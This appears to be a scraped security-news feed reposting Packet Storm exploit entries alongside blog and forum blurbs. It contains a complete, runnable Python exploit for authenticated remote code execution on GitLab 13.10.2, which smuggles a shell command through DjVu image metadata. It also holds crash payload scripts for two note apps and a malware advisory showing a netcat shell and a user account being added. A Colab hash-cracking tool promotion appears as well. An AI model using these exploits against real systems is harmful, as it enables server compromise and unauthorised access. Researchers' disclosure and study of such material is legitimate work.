Exploit Collector
Heap-Based Overflow Vulnerability In Sudo

https://4.bp.blogspot.com/-yl8JZs3kPK0/WWlvOF1SUeI/AAAAAAAAIMk/jv5-1ECzklsqpq4rMFWFx2wFFGh-Q9GlwCLcBGAs/s1600/h24.png
Whitepaper giving an overview of a heap-based buffer overflow in sudo.

MD5 | aa2fad3b8212022bdbf2ce1569c790b8

Download
Source:packetstormsecurity.com

Exploit Collector
Gitlab 13.10.2 Remote Code Execution

https://4.bp.blogspot.com/-khon6dqGLkI/WWlvkVAr7qI/AAAAAAAAIQw/JwPgE9u6PkcV9AqklLFI3rOjfEX9YXC4QCLcBGAs/s1600/h96.png
Gitlab version 13.10.2 authenticated remote code execution exploit.

MD5 | 0cc1a2bd1cf9d33e81fc7b2b838ff7bf

Download
# Exploit Title: Gitlab 13.10.2 - Remote Code Execution (Authenticated)
# Date: 04/06/2021
# Exploit Author: enox
# Vendor Homepage: https://about.gitlab.com/
# Software Link: https://gitlab.com/
# Version: < 13.10.3
# Tested On: Ubuntu 20.04
# Environment: Gitlab 13.10.2 CE
# Credits: https://hackerone.com/reports/1154542

import requests
from bs4 import BeautifulSoup
import random
import os
import argparse

parser = argparse.ArgumentParser(description='GitLab < 13.10.3 RCE')
parser.add_argument('-u', help='Username', required=True)
parser.add_argument('-p', help='Password', required=True)
parser.add_argument('-c', help='Command', required=True)
parser.add_argument('-t', help='URL (Eg: http://gitlab.example.com)', required=True)
args = parser.parse_args()

username = args.u
password = args.p
gitlab_url = args.t
command = args.c

session = requests.Session()

# Authenticating
print("[1] Authenticating")
r = session.get(gitlab_url + "/users/sign_in")
soup = BeautifulSoup(r.text, features="lxml")
token = soup.findAll('meta')[16].get("content")

login_form = {
"authenticity_token": token,
"user[login]": username,
"user[password]": password,
"user[remember_me]": "0"
}
r = session.post(f"{gitlab_url}/users/sign_in", data=login_form)

if r.status_code != 200:
exit(f"Login Failed:{r.text}")
else:
print("Successfully Authenticated")
# payload creation
print("[2] Creating Payload ")

payload = f"\" . qx{{{command}}} . \\\n"
f1 = open("/tmp/exploit","w")
f1.write('(metadata\n')
f1.write(' (Copyright "\\\n')
f1.write(payload)
f1.write('" b ") )')
f1.close()

# Checking if djvumake is installed
check = os.popen('which djvumake').read()
if (check == ""):
exit("djvumake not installed. Install by running command : sudo apt install djvulibre-bin")

# Building the payload
os.system('djvumake /tmp/exploit.jpg INFO=0,0 BGjp=/dev/null ANTa=/tmp/exploit')
# Uploading it
print("[3] Creating Snippet and Uploading")

# Getting the CSRF token
r = session.get(gitlab_url + "/users/sign_in")
soup = BeautifulSoup(r.text, features="lxml")
csrf = soup.findAll('meta')[16].get("content")
cookies = {'_gitlab_session': session.cookies['_gitlab_session']}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);',
'Accept': 'application/json',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Referer': f'{gitlab_url}/projects',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'X-Requested-With': 'XMLHttpRequest',
'X-CSRF-Token': f'{csrf}'
}
files = {'file': ('exploit.jpg', open('/tmp/exploit.jpg', 'rb'), 'image/jpeg', {'Expires': '0'})}

r = session.post(gitlab_url+'/uploads/user', files=files, cookies=cookies, headers=headers, verify=False)

if r.text != "Failed to process image\n":
exit("[-] Exploit failed")
else:
print("[+] RCE Triggered !!")


Source:packetstormsecurity.com

Exploit Collector
Inkpad Notepad And To Do List 4.3.61 Denial Of Service

https://3.bp.blogspot.com/-8aNXwMYQICE/WWlvIs7ranI/AAAAAAAAILw/f2UnTjqyD14e3ZIoWuyFJjQ7Is9Nz7MtQCLcBGAs/s1600/h144.png
Inkpad Notepad and To Do List version 4.3.61 suffers from a denial of service vulnerability.

MD5 | 05dcb8bee0c6bd181999fca47c72c631

Download
# Exploit Title: Inkpad Notepad & To do list 4.3.61 - Denial of Service (PoC)
# Date: 2021-06-03
# Author: Brian Rodríguez
# Download Link: https://play.google.com/store/apps/details?id=com.workpail.inkpad.notepad.notes&hl=es_MX
# Version: 4.3.61
# Category: DoS (Android)

##### Vulnerability #####

InkPad Bloc de notas - Tareas is vulnerable to a DoS condition when a long list of characters is being used when creating a note:

# STEPS #
# Open the program.
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt twice in the new Note.
# Crashed

Successful exploitation will cause the application to stop working.

I have been able to test this exploit against Android 8.0.

##### PoC #####
--> payload.py
#!/usr/bin/env python
buffer = "\x41" * 50000

try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")

Source:packetstormsecurity.com

Exploit Collector
Chrome Legacy ipc::Message Passed Via Shared Memory

https://4.bp.blogspot.com/-f2P6cxL3l-g/WWlvB5J0BVI/AAAAAAAAIKc/5_BozSRH9sAdcCSQmN2ufmoLAOqLp1P9QCLcBGAs/s1600/h125.png
Looking at the Mojo implementation of Chrome's legacy IPC, the legacy ipc::Message type is transferred inside a BigBuffer.

MD5 | 1875fce290dce6b3abaf92746666dafa

Download
Source:packetstormsecurity.com

Exploit Collector
Backdoor.Win32.Androm.df Code Execution

https://1.bp.blogspot.com/-luFAqsulr64/WWlvFAfKXLI/AAAAAAAAILI/M2y6qJlcju8Kpq9V68KpSF2h6FJoaSeWACLcBGAs/s1600/h135.png
Backdoor.Win32.Androm.df malware suffers from a code execution vulnerability.

MD5 | 8388b50b67fc1672c9b371aaaa57c3c7

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/bf60f5b5c901bab08484838447f1b85e.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Androm.df
Vulnerability: Unauthenticated Remote Command Execution
Description: The Androm.df malware listens on TCP port 8000. Third-party attackers who can reach the system can execute OS commands recompromising the already infected system.
Type: PE32
MD5: bf60f5b5c901bab08484838447f1b85e
Vuln ID: MVID-2021-0237
Disclosure: 06/03/2021

Exploit/PoC:
nc64.exe x.x.x.x 8000

Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Victim\Desktop>whoami
whoami
desktop-2b3ixfo\victim

C:\Users\Victim\Desktop>net user hyp3rlinx "" /add
net user hyp3rlinx "" /add
The command completed successfully.

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
Macaron Notes Great Notebook 5.5 Denial Of Service

https://3.bp.blogspot.com/-bZ42fSZSr3k/WWlvHn9HijI/AAAAAAAAILg/Inc3JSbnqMk2Mr3Ts5OXFhitf0RPA2_cwCLcBGAs/s1600/h140.png
Macaron Notes Great Notebook version 5.5 suffers from a denial of service vulnerability.

MD5 | af7bafb9d7cb523d9ae5f437bcaaca6a

Download
# Exploit Title: Macaron Notes great notebook 5.5 - Denial of Service (PoC)
# Date: 06-04-2021
# Author: Geovanni Ruiz
# Download Link: https://apps.apple.com/us/app/macaron-notes-great-notebook/id1079862221
# Version: 5.5
# Category: DoS (iOS)

##### Vulnerability #####

Color Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:

# STEPS #
# Open the program.
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt twice in the new Note.
# Crashed

Successful exploitation will cause the application to stop working.

I have been able to test this exploit against iOS 14.2.

##### PoC #####
--> payload.py
#!/usr/bin/env python
buffer = "\x41" * 350000

try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")


Source:packetstormsecurity.com

Hacking on Medium
What are Flash Loans?

https://cdn-images-1.medium.com/max/1600/1*LIVgBbqBpaVRsKIv3XsMQQ.jpeg
Flash Loan attacks are the latest talk of the crypto town. Recently, so many great platforms have incurred hefty losses, being victims of…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hackers Deploy Anti-Virus

https://cdn-images-1.medium.com/max/2600/0*Ms0pT6WAYEpkp0M2
Yesterdays reveal from Norton Anti-Virus that they will include and pushout Ethereum miners as part of their software is both shocking and…

Continue reading on Medium »

KitPloit - PenTest Tools!
Penglab - Abuse Of Google Colab For Cracking Hashes

https://1.bp.blogspot.com/-UwKWOz36n7Q/YLcrxxO5MrI/AAAAAAAAXiU/MVZE2ZPUFWYIQuWkvXRpeA3RuCMDQZXxgCNcBGAsYHQ/s16000/Penglab.png
Abuse of Google Colab for fun and profit.

What is it ?

Penglab is a ready-to-install setup on Google Colab for cracking hashes with an incredible power, really useful for CTFs. (See benchmarks below.)

It installs by default :

* Hashcat
* John
* Hydra
* SSH (with ngrok)

And now, it can also :

* Launch an integrated shell
* Download the wordlists Rockyou and HashesOrg2019 quickly !

You only need a Google Account to use Google Colab, and to use ngrok for SSH (optional).
How to use it ?

1. Go on : https://colab.research.google.com/github/mxrch/penglab/blob/master/penglab.ipynb
2. Select "Runtime", "Change runtime type", and set "Hardware accelerator" to GPU.
3. Change the config by setting "True" at tools you want to install.
4. Select "Runtime" and "Run all" !

What is Google Colab ?

Google Colab is a free cloud service, based on Jupyter Notebooks for machine-learning education and research. It provides a runtime fully configured for deep learning and free-of-charge access to a robust GPU.

Benchmarks

Hashcat Benchmark :

====================
* Device #1: Tesla P100-PCIE-16GB, 16017/16280 MB, 56MCU

OpenCL API (OpenCL 1.2 CUDA 10.1.152) - Platform #1 [NVIDIA Corporation]
========================================================================
* Device #2: Tesla P100-PCIE-16GB, skipped

Benchmark relevant options:
===========================
* --optimized-kernel-enable

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 55

Hashmode: 0 - MD5

Speed.#1.........: 27008.0 MH/s (69.17ms) @ Accel:64 Loops:512 Thr:1024 Vec:8

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 55

Hashmode: 100 - SHA1

Speed.#1.........: 9590.3 MH/s (48.61ms) @ Accel:8 Loops:1024 Thr:1024 Vec:1

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 55

Speedtest :

Testing from Google Cloud (35.203.136.151)... Retrieving speedtest.net server list... Selecting best server based on ping... Hosted by KamaTera INC (Santa Clara, CA) [11.95 km]: 28.346 ms Testing download speed................................................................................ Download: 2196.68 Mbit/s Testing upload speed...................................................................................................... Upload: 3.87 Mbit/s
Download Penglab

hacking: security in practice
If case sensitivity was not a factor, how would it have impacted brute force and password security?

This question has been on my mind a lot lately. It is obviously only hypothetical, but the repercussions for a simple “yes or no” implementation are daunting to say the least.

The evolution towards case sensitive passwords would have been natural, I think, in this hypothetical world. However, how much faster would brute force methods be? Do you think brute force would have become so prevalent that regular users would have been forced to use complex passwords? Or does it not matter for the average joe?

submitted by /u/Auramaru
[link] [comments]

Kali Linux Tutorials
Ghidra-Evm : Module For Reverse Engineering Smart Contracts

Ghidra-Evm in the last few years, attacks on deployed smart contracts in the Ethereum blockchain have ended up in a significant amount of stolen funds due to programming mistakes. Since smart contracts, once compiled and deployed, are complex to modify and update different practitioners have suggested the importance of reviewing their security in the blockchain […]

The post Ghidra-Evm : Module For Reverse Engineering Smart Contracts appeared first on Kali Linux Tutorials.

Hacker Spotlight: hunt4p1zza & pmnh
https://medium.com/uber-security-privacy/hacker-spotlight-hunt4p1zza-pmnh-c3e952c84cd0?source=rss------bug_bounty-5

Continuing our spotlight series, featuring two of our bug bounty winners from our April promo event.Continue reading on Uber Privacy & Security » (https://medium.com/uber-security-privacy/hacker-spotlight-hunt4p1zza-pmnh-c3e952c84cd0?source=rss------bug_bounty-5)